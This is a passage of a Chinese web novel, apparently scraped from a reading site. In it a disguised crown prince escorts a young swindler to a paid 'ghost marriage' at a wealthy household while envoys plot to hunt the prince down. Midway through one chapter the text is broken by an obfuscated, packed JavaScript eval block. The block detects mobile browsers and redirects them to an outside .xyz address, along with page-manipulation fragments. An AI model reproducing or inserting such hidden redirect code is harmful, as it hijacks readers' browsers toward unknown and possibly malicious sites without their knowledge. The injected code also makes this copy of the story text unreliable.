姜诚起身,恭敬站到一侧。 “殿下的伤?” 发现奚融臂上伤似乎有迸裂迹象,以至于大片血都渗透药带显露出来,看起来比昨日竟还严重了一些,姜诚神色一紧。 “无妨。” “现在,你去查另一件事。” 奚融道。 姜诚垂首听命。 奚融:“去查一查,此地镇长是谁,镇长大儿子,年岁几何,人品如何,是否堪为良配。” 姜诚:“…………” —— 姜诚傍晚方归。 一进门,就见院中堆了许多礼品,有酒,有肉,还有米粮,无一例外,都系着大红绸花,显然就是传闻中的聘礼。 他摇了下头,进了屋,就见那没心没肺的小郎君,正抱着猫在藤椅里睡大觉,藤椅上则挂着一件大红嫁衣。 “……” 姜诚再度摇头,轻步进到里面石洞。 奚融刚调息完毕,手里握着卷书,坐在石床上。 “殿下。” 姜诚近前唤了声。 奚融直接问:“查的如何?” 姜诚道:“查出来了,镇长姓刘名信,确是本地豪族,家产丰厚,坐拥良田无数,与官府来往也十分密切。只是他那大儿子——” 姜诚颇有些一言难尽。 奚融终于掀起眼皮。 “他那大儿子怎么了?” 姜诚神色越发复杂:“三日前,刚刚患急病死了。” “……” 奚融顿了片刻,问:“你确定?” “千真万确,眼下刘府正在给那大公子治丧呢。” “…………” 泰山崩于前都不一定变色的太子殿下罕见沉默了。 “那婚事又是怎么回事?” 奚融问。 姜诚道:“属下打听了一下,婚事确也存在。只不过,不是正常婚嫁,而是冥婚。” “…………” 奚融沉默了第二次。 才再度开口:“朝廷明令禁止民间行冥婚,这刘信竟知法犯法么。” 姜诚忙道:“是改良版的冥婚,不用死人,而用活人,细算起来,不算违背朝廷法令,且刘信是本地豪族,有官府庇护,就更不怕了。” “听说此事在松州颇为流行,尤其是豪门富户之中,年轻男子去世时若尚未娶妻,家中可在正式下葬之前,为其举办一场婚仪,找一八字相合之人,穿着嫁衣,以未亡人身份为其送行守灵哭坟,好保佑其来世投个好胎,姻缘圆满,不必如这一世一般凄惨。冥婚流程简单,不必经三媒六聘这些环节,等葬礼结束,婚约也跟着作废。一些媒人为了赚钱,便在其中牵线搭桥,但此事毕竟晦气,若非家里实在穷得揭不开锅,一般人是不愿意做的。” “听说这刘府大公子生前痴迷一个伶倌,那伶倌却另攀高枝,跟人跑了,他才一病不起,抑郁而终。刘信素来溺爱这个儿子,便要求媒婆必须找一个和他儿子八字相合的男子,去配这婚,也不知那媒婆如何就找到了这小郎君头上。” 找上也就算了。 另一个还见钱眼开,眼睛都不带眨一下的答应了。 简直荒唐。 这小郎君,不愧骗吃骗喝的行家。 姜诚叹为观止想。 “八字相合?” 奚融眼睛一眯,若有所思。 16.山居(七) 顾容在一阵浓郁饭香中醒来。 自藤椅里坐起来,将狸猫丢到地上,伸了个懒腰往食案上一看,就见上面竟摆满了酒食,前所未有的丰盛。 他“咦”一声,走过去,问端坐在案后持卷而阅的奚融:“兄台,今日是什么好日子么?” “是好日子。” 奚融搁下书,神色平静,语调平淡。 “庆祝你即将嫁人的好日子。” “我在想,作为‘兄台’,该给你准备什么贺礼。” 一旁姜诚:“…………” 顾容笑眯眯在对面落座,赶紧婉拒。 “小事一桩而已,兄台千万不要破费……” “小事?” 奚融慢悠悠倒了碗茶,推过去。 “婚嫁乃人生大事,怎能说是小事。” 顾容端起茶碗,手肘撑案,小口抿着,两眼望天。 “咳咳,也不是很大的事了……” 奚融薄唇勾了下:“自古婚嫁,八字是否相合,要经‘问名’环节,那媒婆既不卜名也不问字,就敢直接上门说亲,想来也得了不少钱吧?” 顾容一口茶直接卡在嗓子眼里。 呛咳了两声,才放下茶碗 ,略心虚道:“兄台你都知道了?” 奚融皮笑肉不笑。 “这样值得庆祝的好事,怎么,还怕我知道?” “我是无所谓的,这不是怕污了兄台你的耳目么。” 既然被发现,倒也不必再藏着掖着。 顾容恢复惯有的嬉笑之色:“兄台你毕竟是读圣贤书出身,对这种事肯定是很嗤之以鼻的。” 奚融不予置评,沉沉打量少年片刻:“我只是好奇——你竟如此缺钱吗?” 顾容一笑:“兄台,你这话就有些不识人间疾苦了,这人活于世,衣食住行样样离不开钱,哪里有不爱钱的,我俗人一个,自然也不能免俗。” “是么。” “他们给了你多少嫁妆聘礼,折合成银子,我给你,去把婚事退了。” 奚融直接道。 顾容断然摇头:“那可不成,一码归一码,俗话说得好,人贵在自立,我与兄台无亲无故,怎能平白无故拿兄台的钱,我可没钱还的。” “那小郎君就没想过干点其他营生?” 姜诚忍不住插话。 就见那小郎君没骨头一般歪坐着,脸不红心不跳道:“其他营生?又苦又累,活多钱少,还得给人家当牛做马,哪有这个营生好。” 姜诚:“…………” 他也是开了眼了。 见过不上进的,没见过小小年纪,这般不上进的。 奚融无甚表情饮了口茶。 视线掠过那件大红嫁衣,问:“婚期定在哪一日?” “两日之后,正正吉时。” “好,到时我给你送嫁。” 姜诚:“……” 顾容:“……” 顾容险些没再呛住嗓子:“兄台你太客气了,这种事岂能劳烦你。你安心养伤便可!” 吃完饭,姜诚离开,顾容拿了伤药和药带,到石洞里去给奚融换药。 顾容虽心大惯了,但也察觉到,奚融今日话似乎格外少。 正担心是不是对方身体哪里有不适症状,抬头,就见那正襟危坐的年轻男子正垂目,眸光深深凝望着自己。 忙问:“可是我弄疼你了兄台?” 奚融摇头。 “我只是在想,你就要嫁人了,这大约是你最后一次给我包扎换药,我自要好好珍惜。” 顾容:“……” 顾容对自己有几斤几两还是十分清楚的,笑眯眯道:“其实我也就是个半吊子,技术和真正的大夫差远了,那日我看那位姜姓兄台处理伤口手法,倒是十分专业熟稔。兄台放心,我已经把换药的事悉数交代给那位兄台了,他一定比我做得更好。” “等我回来,兄台若伤已大好,我一定请兄台喝好酒。” “自然,若兄台你急着离开,这顿酒,我也一定记得,绝不赖账。” 顾容自觉自己这番话说得十分得体周全,说完就发现,对面男子表情并没有多少变化,眸色仿佛还更深了一些。 “好,我记住了。” “早些睡觉吧。” 奚融最终道。 顾容点头,把伤药和药带收拾好,依旧除了中衣和外袍,早早钻进了被窝里。 昨夜合睡一床的体验不错,顾容再无顾忌,打了个哈欠,便很快入睡。 奚融掀开被子,视线习惯性往内扫了眼,便见这次那墨缎一般的乌发都乖顺贴在年轻小郎君的腰窝处,并未铺的满床都是。 如此,他自不需要再帮他整理发尾。 奚融收回视线,合上被,靠坐在床头,持卷而阅。 刚看几行,忽听下面传来一阵窸窸窣窣的声响。侧眸,就见已经一晚上不见踪影的花狸猫不知何时出现在了洞里,正贴着床沿走来走去,一面盯着奚融,一面以迅雷不及掩耳之速,敏捷蹿上了床,轻车熟路跳到了床尾。 显然,这猫已经习惯了日日和主人同榻而睡。 且对抢了自己位置的奚融颇有敌意。 奚融眼睛轻轻一眯,还未有所反应,原本睡得正香甜的顾容忽然坐了起来。 “阿狸,过来。” 少年睡眼惺忪,轻车熟路将狸猫捞进怀里,继续面朝里躺了下去。 花狸猫自顾容臂弯里露出一双猫瞳,颇得意望向奚融。 奚融与那猫对视片刻,搁下书,灭了油灯,也躺了下去。 —— 两日后,媒婆果然准时带人抬着花轿来接人。 顾容已经换上那件大红嫁衣,及腰乌发未束,随意铺卷在喜袍上,正对着一盆清水,卖力往脸上涂抹。花狸猫百无聊赖趴伏在主人脚边,对主人这模样见怪不怪,不时挥爪勾着喜袍边缘玩儿。 姜诚一言难尽站在一边。 看着这小郎君因堆了太多粉,白如面盆、几乎已经辨不出本来面目的惨白面孔,想,这技术……倒是符合“冥婚”这个主题。 面上礼貌微笑:“在下实在好奇,那刘府到底给了小郎君多少聘礼,让小郎君如此卖力出嫁。” 少年一双漂亮眼眸轻轻一弯。 “一口价三百两,不过要分给媒人一半,故而我只得一百五十两。” “哦,那可真不少。” “自然,兄台放心,等我哭完坟,请你吃好酒。” “…………” 姜诚面无表情想,倒也不必。 这时,奚融从里面走了出来。 一身玄衣,不知是不是刚运完功的缘故,容色看起来比往日更加冷峻。 顾容转头问:“可是打扰到兄台疗伤了?我让他们动静小些。” 奚融没说话,走过去,极自然拿起案上一小盒红色胭脂,用指腹轻抿了一些,道:“画的轻了些,我再给你涂涂。” 不等顾容发表意见,那沾了红色胭脂的指腹,已贴着他一侧颊,缓缓涂抹起来。 姜诚目瞪口呆退到一边。 等两侧颊都涂匀了,奚融方道:“可以了。” 顾容对着水盆看了看,问:“会不会太红了些?” “这样显得喜庆。” “有道理,还是兄台考虑周全。” “……” 姜诚看着那小郎君已经快成猴屁股的一张脸,默默低下头。 “顾小公子,吉时马上就到了,你好了没有?” 媒婆 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赵媒婆张大嘴巴,将奚融上上下下打量一番,虽看不到对方脸容,但仅凭惊人身量和那优越下颌线条,便两眼放光道:“哎哟哟,小公子竟还有这般器宇轩昂的兄长!这位郎君,不知今年年岁几何,可有婚娶?” 奚融直接走了过去。 赵媒婆:“……” 赵媒婆低声:“小公子,你这兄长看起来脾气似乎不大好。” 顾容深以为然点头。 “何止不好,简直差到极致,尤其烦人给他说亲。” “你最好莫招惹他。” 赵媒婆脸上顿时写满遗憾:“晓得晓得,那小公子,咱们准备上轿子吧?误了时辰就不好了。” 花轿就停在小院门口。 几个刘府家丁正有模有样举着唢呐锣鼓吹吹打打。 奚融已经站在轿子前。 见顾容出来,他收回视线,伸手掀开轿帘,让顾容进去,接着在赵媒婆和一众刘府家丁惊讶眼神里,自己也转身坐了进去。 “哎郎君——” 赵媒婆吓了今日第三跳,急奔到轿前:“郎君这是何意?” 奚融容色淡漠:“我记得,按照婚嫁习俗,兄长送亲,是要全程陪同,直接送到夫家的。” “怎么?我记错了么?” 赵媒婆一愣。 “这……那个……倒是没错。” 只是,这根本不是正常婚娶,而是冥婚啊。 一般人嫌这种事晦气,都是避而远之,她还是头一次见到,冥婚娘家人不躲着,反而上赶着送亲的。 “兄……兄长,你不是说笑吧?” 顾容也诧异掀开了盖头。 奚融偏头:“不是。” “我不是说过了,今日给你送亲。” “啊这……” 顾容尴尬挠挠头。 他以为就是在门口随便送送那种,谁料竟是这个送法。 还想劝阻,奚融已经伸手,将盖头给他重新盖上,接着掀起眼帘看向媒婆:“这刘府的轿子,应当不至于坐不下两个人吧?” 他语调并不高,但因那一双常年如浸寒霜的眸,自有一股让人不敢违逆的威势。 何况——这还真没得说。 因刘府送来的喜服虽然敷衍了些,但迎亲的花轿,却是实打实刘府派出的轿子,比车马行租赁的那种不知好多少。 赵媒婆何等圆滑,紧忙一笑:“郎君说得哪里话,别说两个人,三个人也是坐得下的。” “郎君肯亲自送亲,也是美事一桩!” 只是就算是送亲,这兄弟二人同坐一个花轿,也总是怪怪的。 刘府家丁也是头一回见这种场面,但他们主要任务就是把人抬过去,其他事是不管的,见赵媒婆没意见,便重新吹吹打打起来。 17.山居(八) 花轿在乐声中慢悠悠往山下行去。 轿子里,顾容再次揭开盖头,惊惑未消:“兄台,你真没必要送我过去的。你伤还没好,这样来回颠簸不利于恢复。” 奚融看着人,一双寒眸颜色浅淡,显不出情绪,:“闲着也是闲着,正好去瞧瞧热闹。” 顾容自己胡闹惯了,但偶尔也是有点良心的,不得不正色提醒:“这可不是什么光彩事,兄台,你就这样跟着我过去,恐怕要被人指点议论的。” “是么?” 奚融神色丝毫不变。 “那我倒是想听听,他们会如何议论我。” “这是你第几次出嫁了?” 话题转得太突然。 顾容:“…………” 顾容咳咳两声,敷衍回:“也没几次。” “没几次。” 奚融面无表情重复着这三字。 “看来,是不少次了。” “成亲好玩儿么?” 有人陪坐在轿子里聊天的感觉似乎也不错。 顾容没心没肺一笑:“有上等好轿可坐,有新衣可穿,还能得一大笔钱,怎么不好玩儿。” “兄台,你一定已经成亲了吧?” 奚融目光顿了片刻,反问:“为何如此觉得?” 顾容调换了姿势,抱臂靠在轿壁上,笑吟吟道:“兄台你一表人才,又已年过弱冠,家中又富裕,还‘上得厅堂下得厨房’,一般来说,是很抢手的,说亲的媒婆肯定天天踏破你家门槛,怎会还没有成婚?” 奚融道:“让你失望了,没有。” “嗯?怎会如此?” 奚融一脸淡漠:“我对成婚没有兴趣。” “准确来说,我的婚事,很难逃脱利益交换。我不喜受人掣肘,最好的办法,就是不成婚。” 顾容点头。 “这话有些理。” “不过兄台,人活在世上,有时候不能太清醒了,常言道,水至清则无鱼,你这样很容易鳏寡一辈子的。” 奚融不明意味笑了声。 顾容:“我说错了么?” “你没错。” 面具下那双深瞳,忽然变得幽邃:“不过,糊涂一点,是像你这样,把成亲当游戏么?你以后还有好好成亲的打算么?” 顾容毫不在乎一笑。 “不一样。” “我和兄台不同,我孑然一身,无牵无挂,算半个修行之人,以后是要在山里闲云野鹤一辈子的,成亲反而是累赘,我总不能让人家守活寡吧。” 奚融挑眉。 “你连这事都想过?” “什么事?” “让人家守活寡。” “……” 顾容战略性揉揉眼尾。 “我就是打个比方。” “我穷酸一个,没有人愿意给我守活寡的。” 奚融垂目听着,忽道:“别动。” “嗯?” “有东西。” 顾容还没反应过来,一只修长手已扣着他下巴,将他整张脸托起,指腹在他眼尾处轻轻一掠。 因常年习武缘故,那指腹上带着薄薄一层茧,让顾容觉得有些痒。 “好了。” “以后出门在外,不要往眼睛上乱涂乱抹。” 对方撤手,如此道。 —— 冥婚自然不需要什么拜堂仪式的,连花轿也是从后门进,因前门都是赶着来吊唁的宾客。 前门吊丧,后门办喜事,也是一桩奇景。 刘府管事已在后门内等着,见花轿终于过来,与赵媒婆抱怨:“宾客都来了好几波了,怎现在才到?” 赵媒婆气喘吁吁回:“路程远,这都是紧赶慢赶了,我看着时辰呢,没误吉时!” 管事勉强有了点好脸色:“老爷和夫人都等着呢,赶紧下轿,随我去灵堂那边吧。那小郎君——” 他话音方落,就瞧见一道一身玄色身影从轿子里走了出来。 对方身量巍峨,脸上覆着张木质面具,行走间仿若有霜意涌动。 管事脸色微变:“这是?” 赵媒婆道:“那小郎君的兄长,送亲来的。” 管事一愕。 大约也是头次见到这种事还有人过来送亲,也没多计较,唤来仆从吩咐:“你带这位客人去前厅用膳。” 在管事看来,这种时候送亲,多半是蹭吃蹭喝的。 刘府倒也不缺这顿饭。 只实在难以想象,这家是穷到了什么地步。 仆从领命,走到奚融面前,道:“郎君这边请吧。” 奚融没做理会,而是转身,掀开轿帘,冲着里面伸出手,道:“出来吧。” 这一路晃啊晃,顾容已经快要打瞌睡,听见这话,打了个哈欠,便乖乖扶着奚融的手出了轿。 奚融问管事:“接下来去哪里?” 管事只能道:“那就,一道过去灵堂那边吧。” 灵堂设在主院里。 身穿孝服的仆从引着宾客进进出出,隐隐能听到哭声从内传出。 顾容一进去,立刻引来无数道目光注视。 镇长刘信是个大腹便便的胖子,此刻一身缟素,和刘夫人一道坐在主位上,旁边站着另外两个儿子。 灵堂正中摆着一副棺木。 刘夫人一双眼哭得红肿,此刻犹含着泪。 看到一身喜袍的顾容走进来,不知触动什么心事,又是两行热泪流出。 管事捧着牌位过来,站在顾容对面,道:“请小郎君先和我们公子仙位行个简单的仪式吧。” 顾容轻车熟路,正要假模假样拜,一只骨节修长的手,忽自斜刺伸出,将牌位从管事手里抽走。 “我来吧。” 奚融道。 管事:? 刘府众人:? 管事一愣:“这……” 奚融:“怎么,有问题么?” 管事还真答不出来,因从未见过这等情况,只能用目光请示家主和夫人。 刘夫人哀痛没法说话,刘信视线在奚融身上停了下,问:“这位是?” 管事答:“回老爷,是这位小郎君的兄长,过来送亲的。” “哦。” 刘信眼里多了丝隐晦的鄙夷,立刻错开视线,道:“既如此,就让他代劳吧。” 奚融看了眼管事。 管事莫名感觉周身一寒,识趣挪开。 想,他还是头一次见到这般怪的娘家兄长。 想要赏钱想疯了吧。 连牌位都抢着抱。 穿的衣冠楚楚,人模人样,还真看不出来。 刘府众人注目下,奚融一手托起牌位,站到了顾容对面。 管事在旁扯着嗓子喊:“拜——” 行完仪式,刘信带着哀伤过度的刘夫人离开,刘家两个公子也出去招待宾客,顾容只需抱着牌位跪坐在棺木前守灵便可,刚坐下,趁人不注意偷偷伸了个懒腰,就觉一道阴影压下。 抬头,果然对上奚融俊美冰冷面孔。 顾容道:“兄台,快回去吧,不必陪我。” 奚融问:“要多久?” 顾容领回他意思,道:“今日守灵,明日下葬,很快的。” 奚融正打量灵堂布置,闻言皱眉:“你要在这里待一日一夜?” 顾容狡黠一笑:“我岂会那般蠢,等夜里没人,我就睡了。” “就睡在这儿?” “嗯。” 顾容以为他又要反对,不料奚融只是道:“好,我陪着你。” 接着,就盘膝坐到了一侧。 顾容打量着他,好一会儿,有些不解问:“兄台,你为何如此?” “什么?” “我是说,你完全没必要陪我做这种混账事。” “原来你还知道这是‘混账事’?” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938557|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我说过,你对我有救命之恩,我不过回报一二而已。” 奚融道。 顾容突然笑了笑。 这下换奚融问:“笑什么?” 奚融身量高大,恰好能挡住下人的视线,顾容索性懒洋洋往一旁棺材上一靠,道:“我在想,当你的弟弟妹妹肯定很幸福,你要真是我兄长就好了。” 奚融顿了下,转头问:“你这么想?” “嗯。” 奚融没说话,而是突然伸手,提着喜袍后领将顾容拎起。 “别靠那里。” “嗯?” “晦气。” “…………” 如此到了傍晚,一名家仆急急奔进来,问:“老爷呢?” 管事闻声而来。 训斥:“大呼小叫,怎么了?老爷在陪夫人呢。” 家仆道:“刘管家,严鹤梅严大人过来了,同行的还有崔氏的贵使。” “什么?!” 管事果然也脸色一变。 立刻和仆从一道匆匆往外走去。 整个灵堂瞬间兵荒马乱,如临大敌,显然真正不一般的,是那位崔氏贵使。 姜诚一路暗中跟随,早已混进刘府,一直在灵堂外守着,此刻看准机会,立刻闪身进灵堂,快步来到奚融身边。 奚融正闭目调息。 “公子。” 他恭敬唤了声。 下一瞬就卡壳了。 因看到里面那一身大红喜袍的小郎君,正没骨头一般靠在殿下一侧肩膀上,眼眸微眯,羽睫根根分明,看那惬意模样,竟像是睡着了。 原本铺卷在喜袍上的乌发,此刻都落在殿下玄色宽袖上。 仗着殿下身量高大,能替他遮掩。 仗着刘府主人全都不在,刘府下人全都眼瞎。 姜诚:“……” 姜诚再度两眼一黑又一黑。 殿下身份何等尊贵,竟纡尊降贵待在此处,给一个卑贱的镇长儿子守灵,这成何体统! “公子,此地危险,您不能再留在这里了。” 姜诚低声急道。 奚融睁开眼,淡淡问:“是谁?” “崔氏大管事,崔九。” 姜诚越发忧心忡忡答。 不是因为他畏惧崔氏之人,而是此次崔氏派来松州的贵使崔九,乃尚书令崔道桓心腹,常年游走在京中权贵之间,有一双毒辣眼睛,且识得殿下。 “嗯?” 灵堂里的兵荒马乱,到底惊醒了顾容。 顾容看着进进出出的仆从,奇怪问:“这是怎么了?” “吵着你了?” 奚融回头,眸底霜意散去,温声道:“没什么事,有一位大贵客要‘大驾光临’了而已。” 顾容盘膝坐起,露出饶有兴致神色:“什么贵客,这么大阵仗。” “崔氏的贵使。” 姜诚凉飕飕道。 “哦。” 顾容漫不经意问:“很厉害么?” 姜诚:“…………” 听听,这叫什么话。 要不怎么说无知者无畏,这小郎君,整日在江湖上鬼混,恐怕连五姓七望是什么东西都搞不清楚,更遑论大安朝堂的构造。 他真是多余说。 “公子,属下斗胆,请您离开。” 姜诚继续转向奚融,恭敬道。 奚融掀起眼帘,看他一眼。 “该考虑躲起来的恐怕是你,姜护卫。” 姜诚一愣。 便见伴着一阵脚步声和说话声,几道身影已经往灵堂而来,为首的正是崔氏大管事崔九和一个穿朱红官袍的官员,想来就是与崔氏关系匪浅的松州别驾严鹤梅,刘府主人刘信一反之前傲慢姿态,恭恭敬敬呵腰陪在一侧。 严鹤梅后面还大摇大摆跟着一个身穿紫色锦袍的年轻公子,姜诚也认了出来,是在楚江盛会里夺了次魁的,严鹤梅之子严茂才。 18.山居(九) “贵使贵足踏草民贱地,亲自来看犬子,实在是折煞犬子了,可惜他福薄,无法亲自聆听贵使训导了……” 刘信极尽谦卑引着崔九和严鹤梅进入灵堂。 崔九穿着身考究的锦服,指上戴着一个翠玉扳指,他虽不是官身,身为崔氏大总管兼尚书令家臣,来到地方,却比很多官员都有脸面。 听了这话,叹口气,道:“你也节哀顺变。” “令公子是福薄了些,听说他书读得不错,也算刻苦上进,原本可以有一份好前程的,大公子听闻消息,特意命我替他上一份奠仪。” 崔九眼风一扫,同行的家仆立刻捧着一个托盘上前。 刘信伸手惶恐接过:“能得大公子如此惦念,犬子死而无憾了。” 又恭谨问:“太傅身体可大安?” “放心,太傅一切好,只不过有些担心江南这边的情况。” 崔九点到为止,与严鹤梅道:“严大人,咱们既来了,就一道给刘公子上柱香吧。” 严鹤梅点头。 他虽是五品别驾,在崔九面前,亦落后对方一步,以对方为尊。 “还不快给贵使和严大人点香。” 刘信使了个眼色给二儿子。 这原本是仆人的事,刘二公子岂能不明白父亲深意,立刻恭谨应是。 崔九看破不说破,只看向严鹤梅:“严大人,请吧,你是松州府父母官,我可不能越了你去。” 严鹤梅谦卑惶恐道:“贵使言重,贵使先请。” 二人客气礼让了一番,最后还是崔九先上前上香。 严茂才心不在焉跟在严鹤梅身后,因为莫名其妙出了一手怪疹,他这几日受尽折磨,几乎整夜无法入眠,此刻右手尚缠着厚厚的药带。他对给别人吊丧没兴趣,今日过来,纯是被亲爹严鹤梅逼的,目的自然也是为了让他在崔氏贵使面前多表现一下,为将来仕途铺路。 众人寒暄的功夫,严茂才眼睛绕着灵堂打转。 转着转着,就转到了角落里那抹红色身影上。 是个年轻小郎君,穿一身大红喜袍,怀里还抱着块牌位,大约是因为喜袍太过宽松的缘故,或又因主人太懒散,就那么找不着肩一般跪坐着,一截莹白后颈便犹若暗夜里的美玉一般,若隐若现露了出来。 严茂才视线顿时定住。 他阅人无数,是秦楼楚馆里的常客,尤爱往南风馆里跑,只略略一扫,便立刻确定,那是个骨相极佳的大美人。 且不知为何,竟让他觉得隐隐有些眼熟。 正困惑,严茂才又忽觉身上一寒,他一看,才发现美人身边还挺坐着一道玄色身影,脸上戴着张面具,身量极高,比美人能足足高出一头,虽然只是坐在那里,却无端给人一种暗沉阴森之感。 便在这时,那看着楚楚可怜的美人竟仿佛察觉到了他的视线,慢慢抬起脸,露出一对猫儿一般漂亮的眼眸。 严茂才一颗心瞬间激荡起来。 待定睛细看,却猝不及防对上一张惨白如鬼面,两腮涂满胭脂,堪称可怖的脸,在满堂白幡衬托下,说不出的诡异。 连带着那双瞳眸,都仿佛勾魂的无常。 严茂才直接吓出一身冷汗,脸都变了。 “茂才!” 直到严鹤梅严厉唤了一声,严茂才方悻悻回神。 他简直不敢相信,那样漂亮出众万里挑一的骨相,竟生着一张如此丑陋的脸孔!还真是暴殄天物! 上完香,崔九与严鹤梅一道转身往外走,走了两步,崔九脚步忽一停。 严鹤梅随他看,也才注意到,角落里竟还有两个人,里面那个看起来是个年轻小郎君,还身穿喜服。 冥婚在豪族间很流行,刘大公子的死因也不算秘密。 二人几乎不必问,就明白了眼前情况。 “这位又是?” 严鹤梅视线落在一身玄色的奚融身上。 “回大人,是这位小郎君的娘家兄长,今日是送亲而来,因兄弟情深,怕这小郎君胆子小,才陪着这小郎君一道在此给犬子守灵。” 刘信第一时间上前解释。 虽然对于这位行事古怪的娘家兄长印象一般,可此地毕竟是刘府,他万不能因自己的缘故,惹得贵人不悦。 于是崔九脚步也就顿了那么一下,就移开视线,径直往外走了。 刘信紧忙跟上。 唯严茂才有些不甘心,趁着离得近,紧盯着里面小郎君那张惨白的脸,仿佛想在上面抠出点什么不一样的东西。 那张脸又察觉到了,并对他眨眼笑了笑。 严茂才一阵毛骨悚然,只觉鸡皮疙瘩都掉了一地,终于别开眼,忍着恶寒快步离开了。 偌大的灵堂再度恢复安静。 奚融偏头,挑眉问:“还没玩儿够?” 顾容唇角仍扬起一点弧度,道:“难得有机会扮鬼吓人,说实话,还真有些不过瘾。” “他得罪过你?” “他?” 顾容不屑摆手。 “兄台,你也太小瞧我了。” “你应该问,他在我手里吃过怎样的苦头。” 奚融薄唇轻一勾:“看来,他的那只手,是你的杰作。” “你用了毒?” 顾容摇头:“只是一点野蜂粉而已,不过,是一种北地特有的野蜂粉,很少有人知道。” 奚融露出感兴趣的神色。 “你还去过北地?” “很早以前的事了。” “跑那么远作甚?” “自然是骗吃骗喝。” 顾容半真半假道。 奚融挑眉:“听说那北地燕王,可是出了名的凶狠残暴,最喜扒了人皮做灯笼,至今仍被朝廷视为心腹大患,你也敢去他的地盘上骗吃骗喝?” “我一不杀人,二不放火,别说什么燕王,便是皇帝老子也管不着。……不过,扒了人皮做灯笼,不是说的太子么?” 姜诚挂在房梁上,听了这话,险些没掉下来。 “哦,大约我记错了罢。” “小郎君见多识广,手段高明,看来以后,我得小心才行。” 奚融幽幽道。 顾容一笑:“我这些都是些不入流的奇技淫巧,登不得大雅之堂,兄台你家大业大,还瞧得上小弟这点伎俩?” “我家大业大,也只得一句‘兄台’,可见家大业大,也没什么用。” “嗯?” 奚融却没接着说,而是看了眼天色,起身道:“我去找些吃食,我们晚上吃。” 顾容道:“刘府人会送吃食过来,兄台不必费心了。” “不费心。” “守夜耗神,只吃清汤寡水不行。” 奚融伸手,将顾容滑落下去的喜袍后领提起,才起身往外走了。 顾容盘膝坐下,看着那道背影,不免再度陷入某种困惑。 “殿下。” 姜诚也从暗处现身,跟着一道出来。 道:“方才,属下真是吓得不轻。” 奚融蔑然一扯唇角。 “放心,他不会认出孤,也不敢认。”

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以对方身份,不会无缘无故来给儿子吊丧,刘信一路走来,心里一直琢磨着,听了这话,忙起身道:“太傅有何指示,贵使只管吩咐。” 不料崔九直接冷笑一声。 “太傅掌着尚书省,日理万机,下面的小事,哪里能桩桩件件都顾及,咱们身为下属,不仅要尽忠竭事,有时更需主动体察上意。” “这回我过来,大公子可特意提起贵府二公子。” 刘信越发云里雾里,但最后一句,他听懂了。 不由喜出望外,激动道:“能得大公子青眼,是犬子福气。” 崔九又是一摆手:“这普天之下,不知多少人都渴盼着得大公子青眼,大公子只有一双眼睛,哪儿能看得清那么多人。” “还请贵使明示。” “东宫遇刺之事,你可知晓?” 崔九直接问。 刘信一愣:“那位……遇刺了?” 崔九点头:“板上钉钉,只不过东宫的人口风紧,还没传出来罢了。此次西南大捷,那位越发如虎添翼,若教他顺利回到京都,后果不堪设想。东宫手腕酷烈,若真当道,于五姓七望,于你们下头的大小豪族,都不是什么好事。太傅虽未明言,但这一次,是将那位斩草除根的绝佳机会。” 刘信一阵心惊肉跳:“可那位是储君,身份贵重,如何……能有机会下手?” “眼下不就是个机会么。” “那位负伤,行踪不明,出不了松州,不过一头陷于浅滩、没了利爪的猛虎,有何难杀。只是此事不好大张旗鼓动用官府兵马,我听说刘族长庄子里豢养着私兵三千,可愿替太傅分忧?” 刘信一愣。 他到底是一个豪族首领,基本的政治判断还是有的,立刻明白,此事于他既是一飞冲天的机会,但搞不好就是粉身碎骨万劫不复。 于是吞吞吐吐道:“草民自然愿意,只是草民那些私兵,有一半都是老弱病残,根本不顶用,不知,是否还有其他兵马襄助?” 崔九岂瞧不出他心思。 道:“放心吧,此事,严大人和另几位大人也会鼎力相助,不会让你一人冲锋陷阵。眼下头一桩紧要事,就是查出那位的藏身之处。” 刘信一喜,再无犹疑道:“一切听从贵使吩咐!” 19.危机(一) 入夜几乎没有宾客再来吊丧,顾容可以随意浑水摸鱼。 毕竟,连守在灵堂的仆从都在用各种方式躲懒。 自然,因为没有奚融在外面掩护,顾容也没法做得太过分,只悄悄把怀里的牌位丢到一边,塌下肩,伸了个懒腰。 他甚至已经做好了奚融提前离开,自己独自守夜的准备。 毕竟对方身上还带着伤,没有理由彻夜待在这里。 刘府管事派人送来了两份稀粥酱菜和馒头。顾容对吃食素来不挑,平日在山上吃的东西也很潦草,并不比这好多少,但想到奚融离开前说出去找吃食,还是决定等一等。 没多久,奚融真的回来了。 他先停下,跟值守在灵堂里面的仆从说了几句什么,又隔袖递给他们一些东西,那些仆从便眉开眼笑,互相招呼着往外走了,只留了两个守门的。 奚融来到里面棺木旁,脚触到被顾容丢在地上的灵牌,看也没多看一眼,直接一脚踢开,便展袍坐了下去。 顾容看着那骨碌碌滚了好几圈才落定的牌位,好心伸手把牌位兄扶正,忍不住道:“兄台,你这样会不会对死者太大不敬了?” “这是为他好。” “嗯?” “我命格比较特别,给他守灵,怕他折了阳寿,再折阴寿。” “…………” “别吃那个,吃这个。” 奚融直接将摆在顾容面前的稀粥馒头端到一边,打开手里食盒。 食盒分三层,顾容只看了一眼,便诧异不已:“兄台,怎么这般丰盛?” “凑活吧。” 他道,将里面的菜和粥挨个摆出来。 最后拿出来的则是一碟梅花糕。 “要不要先吃块糕?” 奚融问。 顾容其实已经有些饿了,便点头,伸手拿了一小块糕,咬了一口。 一副很好养活的模样。 奚融一贯摧雪浸霜的寒眸不免带了丝柔和,问:“味道如何?” “软糯香甜,极好。” 顾容眼睛一弯。 又问:“你方才进来时给那些仆从银钱了?” “嗯,让他们去隔壁耳房吃酒去。你现在想干什么就可以干什么。” 顾容二话不说,改为盘膝而坐,感叹:“兄台,你可真是这世上最好的兄台了。” 奚融挑眉:“既如此,就不肯叫声‘三哥’?” 顾容断然一摆手。 “那可不成,你弟弟妹妹会不高兴的。” “给你家里人听见,也不成体统。” 奚融道:“我当你是个小骗子,原来还是个恪守规矩的小君子。” 顾容摇头晃脑:“君子万万称不上,世上哪里有我这般脸皮厚的君子。” 